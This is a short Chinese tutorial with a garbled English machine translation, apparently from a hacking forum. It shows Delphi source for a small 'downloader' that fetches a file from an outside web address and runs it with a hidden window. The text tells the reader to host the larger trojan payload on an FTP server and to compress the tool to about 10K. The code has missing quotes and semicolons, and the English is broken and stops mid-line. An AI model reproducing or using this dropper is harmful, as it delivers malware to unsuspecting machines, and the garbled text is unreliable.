执行后可以下载指定程序并执行





你先把大体积*放到一固定FTP空间上



打开Delphi 打开down.dpr，看到了吧 改一下编译 ok 个人版下载者：）



用工具压一下，只有10K





这样说完是不行的，说一下代码：



program wsdgsRoad



uses

URLMon,

ShellApi



var

u,l: pchar

{.$R *.res}

function DownloadFile(SourceFile, DestFile: string): Boolean

begin

GetMem(u,100)

GetMem(l,100)

u:= http://www.jm-my.com/ip2.txt //改为你要下载的网址

l:= c:/downpage.txt //改为你要存放并打开文件的路径

try

Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0

except

Result := False

end

end

begin

if DownloadFile(u, l) then

begin

ShellExecute(0, PChar( open ), PChar(l),

PChar( ), nil, 0)

end

//freemem(u)

//freemem(l)

end.

先试一下。。。。 ok,



明白了吗 再见-after implementation can be downloaded designated procedures and implement your first Mass Trojans into a fixed space on the open FTP D elphi open down.dpr seen it change your build ok individual downloads : ) tool, pressure that is only 10K finish this is not enough, saying that what code : program uses URLMon wsdgsRoad, ShellApi var u, l : pchar (. $ R*. res) function DownloadFile (Sour ceFile, DestFile : string) : Boolean begin GetMem (u, 100) GetMem (l, 100) u : = http :// www.jm-my.com/ip2.txt// read you want to download the website l : = c :/downpage.txt// read your document storage and open the path to try Result : = UrlDownloadToFile (nil, PChar (u), PChar (l), 0, nil) = 0 except Result : = False end if end begin DownloadFile (u, l) then begin ShellExecute (0, PChar (open)